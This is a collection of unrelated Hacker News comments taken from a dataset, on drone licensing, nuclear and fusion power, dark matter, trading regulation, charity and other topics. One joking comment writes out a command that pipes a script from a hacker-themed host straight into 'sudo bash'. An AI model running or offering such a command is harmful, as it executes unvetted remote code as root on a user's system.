skysight-inc/HackerNews huggingface dataset:
Exactly. The underlying clock would store actual seconds since 1970, and when you request UTC it would add the current leap second offset. Which is more or less how GPS does it already, for an actual working example.
I don't know that we need 'restrictions' per se, but a 'drone license' sounds pretty reasonable to me, especially if the license fees are going primarily towards some kind of liability insurance.
Licenses don't stop people from being reckless, but they do help in creating a culture of educated safety. If anything they are good for banning you from operating the vehicle when you get caught breaking safety laws.

Sir, I'm going to need to see your drone license and registration...
Also 160x128? That's 4 pixels per character at 40 columns -- I'm not imagining that's going to be all that usable for text? Sure you can't do a bit better than that?
You mean "release early, release often"?
It's pretty useful to be able to keep the refrigerator cold and have running water in the house so you don't have to go full native if the power is out for more than a day.
You're right, but I think the best case is for hobbyists to come together on some kind of, say, licensing scheme so the idiots can be forbidden to fly drones and the reasonable people permitted before we end up with some kind of knee-jerk reactionary approach to lawmaking, which appears to be the direction things are headed.
I agree with this entirely. I think too many self-declared science-minded people buy into the argument that "nuclear is a good solution" without looking at the numbers or risks. Whilst I understand the costs of fossil fuel use, I think that the distribution of risks associated with nuclear power makes cost estimation a lot more difficult that proponents assume (ie, safe almost always, very rare disasters that cause huge disruption).

However, my understanding is that Thorium-based fission reactors[1] reduce the risks somewhat. I haven't looked into this enough myself to decide either way, but I do have an open mind.

Fusion, OTOH is a totally different story. Maybe, one day we'll get that to work reliably and cheaply. I find it difficult to imagine a more significant change to the world we know.

[1] https://en.wikipedia.org/wiki/Thorium-based_nuclear_power
Angry crowd? I see no mention of an angry crowd. What we do know is the operator of the drone was careless and allegedly ran away from the scene of an accident.
Take a look at Starship Titanic. Very ambitious attempt for a writer to make a game/story/interactive-thing.
Oh dear :/ I guess you saw jegas when he went for a smoke break... sorry your first experience wasn't the best!
So how do we enforce licensing and how will ownership be tracked? Is it done at point of sale? And the tracking of ownership, via signal, of via registration?

And will liability insurance be required to fly over populated areas?

Eventually it will come to this, once the odds, caused by prevalence, point to the liabilities.

Flying airplanes, back at the birth of aviation, also didn't require licensing... Till too many barnstormers caused injury.

Perhaps also weight, range, as well as blade type can be considered with the requirements.
There's a more efficient way to do that.

Use TCP/IP to synchronize the consumption of power with its production. Solar and wind are pretty awesome if you can schedule around them. And most of our power consumption is amenable to it.
Hey, sorry you had a bit of trouble streaming. If you are getting errors, you can add 'livecodingtv' on skype and someone should be able to help you with your setup!
Meh. Come on. If it were just a camera on a long fiberglass poll that fell, it wouldn't be blame anyone. It would be a _mistake_, apologies would be said, and assuming nothing grave happened likely nothing would come of it.

The fact that it was a drone shouldn't have changed anything.
Appreciate the link. It linked to something that applies to me: the photic sneeze reflex. It really sucks haha.
Absolutely. But these are questions that must be answered before we can say nuclear has "major advantages when it comes to cost".
While I believe/hope you are right there are use cases for gigawatt energy sources that cannot be met even with pervasive PV deployments. We will not be manufacturing aluminium with solar. We won't be pumping gigga tones of C02 out of the atmosphere and seawater with solar. We won't convert the Ort cloud to habitats with solar. For that we need fusion or fission. No way around it.
The Metamorphosis of Prime Intellect is one of my favorite sci-fi novellas. But yes, extremely unsuitable for anyone with a weak stomach.
Adding new meaning to the term "Attack Drone".
Sure, but to be fair - a bicycle, a skateboard, or a baseball are also all quite capable of inflicting serious injuries.

We as a society seem to be perfectly happy to assume the risks of children on bicycles - and allow then to use them in fairly uncontrolled fashions in pubic places - and that all works out fine. We handle motorcycles differently - and at least where I am are working out the sensible restrictions for "in between" categories - bicycles with more or less powerful electric or gas motors.

I find the "drone hysteria" annoying - in that it's manufacturing unreasonable "generalised risks" (like "cutting or blinding people") - without acknowledging the difference between a Clarkson CX10, a Parrot AR Drone, a 250 class quad, and a machine capable of lifting several pounds or more of payload. It's almost like trying to apply the same risks and restrictions on 18wheeler trucks, cars, and matchbox toys.
Makes me very happy to hear that :)
Except that licenses are pretty much by definition granted and enforced by the state. I do think the hobbyist community should have a clear set of safety principles. Such probably already exist but I'm not sure that they've really been codified and widely disseminated.
MSFT isn't out of the ad business. They are keeping Bing and likely to make some interesting new ad units that involve Cortana.

Getting out of display media for them is smart. Fundamentally they are a software company and there are already players that sell media better than they can. It isn't a software problem, it's about building sales relationships with media agencies.

A streamlined P&L and staffing strategy will let them focus on making a developer-centric product company. They will still make plenty of ad money, but don't have to staff for it.
Observation means measurement, nothing about the Copenhagen interpretation implies anything special about the human brain nor about consciousness.
People get knocked unconscious by baseballs. Should we license those too?
Use TCP/IP to coordinate consumption and production, and your storage needs go down considerably.
Where did I argue against restrictions? I would wholeheartedly welcome restrictions, as long as they are not draconian. But just so you know, there are already restrictions (in most countries) about where and how you can fly a quadcopter. People like this just choose to ignore them.
Code Complete 2. It is really heavy book, they called it programmers' Bible.
In the time of Empiricism, the philosophers George Berkeley and John Locke proposed something similar. I believe it was called it immaterialism, or the idea that nothing exists without being perceived. Berkeley went further saying that objects only exist in the mind, or something like that.
Now I see their organization under a completely different light... Promoting polygamy by distribution of bibles...

http://www.gideons.org
Well, imagine there is a country called Hegemonistan, and it has the most power economically and politically at the moment. A large plurality at least.

Now define the change in stability between t0 and t1 as something like inversely proportional to the weighted average of changes in relative power rankings among countries.

By definition, maintaining stability will tend to keep Hegemonistan in its power positions. And vice versa.

So, stabilization is roughly identical to helping Hegemonistan.
There are plenty of reasons for that facility to exist.

Fourth generation reactors (and thorium reactors) do improve the situation considerably (eg, 2 orders of magnitude less waste than a conventional reactor, and the waste stays around hundreds of years instead of tens of thousands[1]).

However there is an existing set of reactors that will be in use for decades, and their waste needs storage. There are also existing "temporary" storage facilities that need better long-term solutions.

[1] https://en.wikipedia.org/wiki/Thorium-based_nuclear_power#Po...
> Why? It could severely hurt market liquidity (which everyone claims is so important) if there is a mistake that sparks a panic.

Because we've seen what happens when a very major market maker blows their risk configs, it is a headlines day but the market largely recovers quickly. I'm more interested in systematic risk and I believe that any "fix" to the speed issue in HFT is likely either just going to shuffle advantage from one group to another or have unintended consequences.

> Can you reword this a bit? I don't understand what you are saying.

It was more risky to be slow than to use a central (and assumedly better) risk system. At least that was the implicit lesson learned from a market maker not using their own systems. I understand trading incentives enough to realize that might have been short term thinking trumping long term thinking, but I'd rather adjust the incentives there as well (long term bans from trading for risk limit violators maybe?)

Further, I want market makers to be able to be innovative with some of their risk controls, as I believe that it could lead to better risk controls more broadly.

> Can you give some examples?

The most common response that people trot out to "fix" HFT is to introduce batch auctions. I believe that this a) won't remove the incentives to play speed games and b) will make it harder for market makers to price spreads appropriately leading to them making them more expensive.

A transaction tax is similar. I view transaction taxes as pass throughs that will largely be paid by non-speculative investors. That is, we actually largely don't care (I don't think) about the number of transactions, so why would we use a tax to discourage them? Lets discourage what we actually want to discourage (I'm not sure what that is by the way).

> Index-to-underlyings arbitragers

I'm not so sure. In the short term they and market makers would get wrecked, but I believe quickly they would adjust (or go out of business) and the pricing models would be better for it, and spreads would go even lower.
This is the important thing - if this had been a badly kicked soccer ball that'd bounced off a building and hit someone in the head and knocked them down - what would the appropriate behaviour and response be?

You own up - apologise - and accept responsibility. The guy here should have done the same, this shouldn't be about "drones", it should be about not being a jerk and a coward.
The current best explanation for all of the observational evidence is a "cold dark matter" (CDM) theory, where the dark matter is composed of "WIMPs" (weakly interacting massive particles). Neutrinos are WIMPs that we know exist, and compose some small fraction of dark matter, but neutrinos are "hot", they travel at relativistic speeds, rather than much slower speeds.

There have been many theories of what the "unseen mass" could have been made of before the CDM/WIMP theory gained ground, but those competing theories have been eliminated by observational evidence which contradicts their predicted effects. Large amounts of dust would block visible light and impose characteristic changes on the light that passes through it. We see dust in other galaxies and our own, but we don't not see nearly enough dust in the right locations and in the right quantities to account for the missing mass. So it can't be dust. Large gas clouds are another idea. Huge, transparent, whispy clouds of gas. But these too would affect the light passing through them, adding the spectral absorption signature of the gas to the light coming from the other side of the cloud. We can observe several large concentrations of gas around galaxies, and often the mass of that gas is larger than the total mass of stars in the galaxy, but it's still far too low, by an order of magnitude or more, to be the missing mass. We also see cases, such as the bullet cluster, where we can map the location of the stars, gas, and the overall mass (through gravitational lensing), and we see that the mass is not where the gas is. Another theory is that it could be not dust but bigger chunks of stuff, like planets or brown dwarfs, so called "MaCHOs" (Massive Compact Halo Objects). But to make up the missing mass there would have to be a great many of them. We can collect statistics on how common such objects are in our own galaxy and nearby galaxies using gravitational micro-lensing surveys. Because there are a huge number of stars in the sky, and if there were lots of MaCHOs floating around then every once in a while one would happen to be precisely lined up along the line of sight to another star and that arrangement would slightly brighten the remote star. We can monitor a huge number of stars using modern digital imaging systems and survey the MaCHO population this way. We've found several such micro-lensing events but again the observations put an upper limit on the MaCHO population which is far, far below what could possibly account for all of the missing mass.

No matter how you slice the observations, you still end up with a lot of missing mass and a lot of inconsistent observations. Unless you accept the possibility of WIMP dark matter. When you do that then all of the observations fall into place. Not just the above but also things like the large scale structure of the universe, the structure of the cosmic microwave background radiation, and so forth.
Baseballs are not typically hit or thrown in the direction of unsuspecting individuals. If you're walking around a fairground you don't expect a quadcopter to land on your head.
What do you propose to be the lower limit where we should start worrying about the weight of something falling from the sky? And having established that, can we arrange for a time to meet up so I can drop something that's just a little lighter than that amount onto your head from a great height?
there is some research in this field from members of my faculty check this links to get started:

https://scholar.google.com.ar/scholar?safe=off&es_sm=122&bav...

http://ed.fbk.eu/people/sisai/home/publications_files/pdf/cl...
If a person had operated his camera-on-a-stick unsafely, and it had fallen, I'd wager the operator would be blamed. Sure, it would be a mistake, but a preventable mistake.

"So I see you've got both duct-tape and bandaids holding this on; yeah, this is just a tragic accident."
The Truman Show (http://www.imdb.com/title/tt0120382/) covers a lot of this turf albeit TV rather than total simulation.
Yeah, I was immediately disappointed that it wouldn't work without Flash installed.
Tough love follows.

Get your act together. Seriously. Life gets harder as you go along, not easier. You have time now to find your passion. Find it quickly and get on with it.

If you get yourself on track, I am sure you will easily find a job in the financial sector so run with the computational finance stuff and you will be pretty well rewarded.
You're me at JavaOne in 2006. Here's a cool fact, there's a ton of people there and so the person you're next to in line for a talk, you'll probably never see them again after you go home. I know anxiety isn't a conscious, rational thing, but you can combat the urge to flee by reminding yourself of just how low-stakes the risk of talking to someone actually is. Standing in line next to someone gives you a chance for bite-sized interaction. I still get stressed in crowds, but what I do is, I just have a short, casual conversation with the person next to me that I naturally let end after a few sentences. That way if the person really isn't interested in talking then it naturally dies off, but if they feel like talking more, they will keep the ball rolling for you.
Sorry, misread your post.

I guess there might be a bit of a knowledge gap on the regulation end, let's hope that quadcopters and the like don't get too stifled because of this.
Olympic Cyclist Powers a Toaster with His Bike
Did you read the article? It agrees with you.
Aşk İle İlgili Sözler ve Şiirler
If you want to know how to capture and handle automotive test data, look into process automation systems for manufacturing industry. I used to work at petrochemical facilities in 90s as process control engineer, we not only received data from Thousands of I/O inputs (for example, from temperature, flow, pressure, vibration, rpm sensors) every second to every tenth of a second, but we processed them, made decision and sent out I/O signals to controllers (for example, flow control valves). We used combination of programmable logic controllers and distributed control systems.

Talk to companies like Honeywell (I believe they do something similar to what you are trying to do for aviation industry), ABB, Foxboro, etc. These guys have been doing this since 80s.
Why shouldn't it change anything? Are you saying that flying a drone over a crowd and putting a camera on a pole represent equivalent levels of negligence?
Was half expecting this to be:

curl http://www.hackerz-r-us.ru/really_awesome_game.sh | sudo bash #YouveBeenP0wnd
SEC diff: run diffs on SEC filings
I beg to differ:

http://kxan.com/2015/06/23/3-more-rock-throwing-cases-report...

http://meredithaz.worldnow.com/story/28577622/teen-accused-o...

http://fox2now.com/2015/06/16/police-investigating-vehicles-...

http://www.kptv.com/story/28388107/two-in-custody-in-connect...

And that's just rocks thrown at cars. Just because you don't hear about it doesn't mean it's not reported, or that it doesn't happen often.
I think some form of basic regulation and license is not unreasonable. Maybe it's free with an online test and registration.
Fun to think about, but his argument is a non sequitur.
Re: Telnet/FTP in Mozilla? (1998)
All those options are a little different.

OpenPhil is planning to give to substantially different charities from GiveWell recommended charities:
http://www.open-philanthropy.org/

Giving to GiveWell or Giving What We Can means your money is spent on research and advocacy, probably resulting in a greater total impact:
https://80000hours.org/2015/06/donating-to-giving-what-we-ca...
Giving to GiveWell also has the effect of increasing the funds available to OpenPhil, since OpenPhil (to some extent) makes up the short fall in GiveWell's funding.

The Giving What We Can Trust is just a convenient way to have a Donor Advised Fund. The money goes to whichever charities you like.
https://www.givingwhatwecan.org/trust
Prior discussion: https://news.ycombinator.com/item?id=9798405
Oh, such a "holier than thou" attitude in that article - US watching over the naughty naughty Europeans so we can all have a better and safer world. Maybe he should get off that really really high horse just a bit.
The customer is a company, Acme, that manufactures a "widget" for power plants.

Imagine there's another company, let's call it Texas State Power Construction (TSPC), that needs a new widget to replace the old one in the plant. The engineer at the TSPC plant sends a request to the procurement manager asking for a new widget. The procurement manager then searches his or her (more often her) Supplier database for registered companies that make widgets. Procurement manager doesn't contact Acme because Acme never registered with TSPC. Acme loses out on this business opportunity.

Suppliers get in the db by registering on the enterprise-y, most likely Java, "Supplier Registration" portal linked to on the website.

Registration is a pain in the neck mostly because it's boring and nobody wants to do it. I would love to do it for every power company in the USA, but it's boring. I guess I could try to hire an employee to do it for me at $15 an hour but I would rather just pay for results.

(My company is an "Acme". We make a "widget". We would LOVE to be in the database of every "TSPC" and get more sales inquiries.

I spend $500/month on adwords and get maybe 2 leads, and they're of dubious quality. $250/lead sound too high? The last trade show I went to cost $1600 in expenses alone and I generated only two good leads. That's $800/lead.)
Article doesn't seem to ask/answer any of the obvious questions such as

a) were Enigma and Lorenz related? Did the work to crack one help crack the other?

b) wasn't the development of computers the main breakthrough at Bletchley? whose work was the biggest contributor there?
One of the interesting differences: autonomous drones are already pretty common. Who gets in trouble if you buy something that is essentially an "aerial roomba" to patrol your estate, and then one day it shorts out and falls on someone?

I imagine the answer is, the legal owner of the device gets in trouble, and then the owner sues the manufacturer. The only problem comes when those happen to be the same entity. Renting/licensing autonomous drones that are flown-by-wire from the manufacturer's data-centre could make things much messier.
Ah, blacklists. One of the companies I work for is on the RFC-Clueless blacklist. Gmail handles the business mail, but something was screwed with the abuse@ and postmaster@ mailboxes, so RFC-Clueless listed the domain years ago. Eventually we started running into trouble with mail admins who used RFC-Clueless. I got gmail involved, escalated to third-level support, and got those two RFC addresses fixed.

I've submitted this fix to RFC-Clueless several times over the past few months, but it's abandoned. Every request times out after a few weeks. Great, we're on a blacklist whose raison d'etre is "blacklist those not following the rules", and the bastards don't even follow their own declared workflow.
Actually you can unify E and B into a closed two-form F
and get in vacuum

dF = 0

d★F = ★j

Where j = rho dt + jx dx + jy dy + jz dz is the charge and current density, ★ is the Hodgestar operator and d is the exterior derivative. The equations in a medium are slighly less elegant.
First Round Q1 LP Letter
I know their dialup service provides lotsa LOLs, but that is not AOL's actual business.
That's correct. It wasn't wished away. Slavery and other forms of cheap labor were part of the human condition for millennia.

It took revolts, revolutions and changes in mores for things to advance to where they are today. Yes, some day, we may all enter a new world order where everything is placid. We're not there yet and thinking we can wish ourselves there in the near future, let's say, extremely optimistic, to the point if being wishful thinking.

Perhaps most importantly is that servitude and slavery became economically untenable.
Bob Lord of AOL used to be CEO of Razorfish, sibling company to Atlas which was acquired by Microsoft in 2009 or so to kick start their ad business. When it flubbed they took a huge write down and just sold it back to Bob Lord.
"on hacker news"
Energy is the sole basis of modern civilization.

We are Hydrocarbon Man.
Perhaps it could be some form of friction we don't yet understand? I mean a form of gravitational friction?

The nice part of being an armchair physicist is spouting off nonsense - I suppose if I really wanted to find out, I could make up a mathematical model of my theory and then find out if the evidence fits. Sadly, I really have no idea how to do that!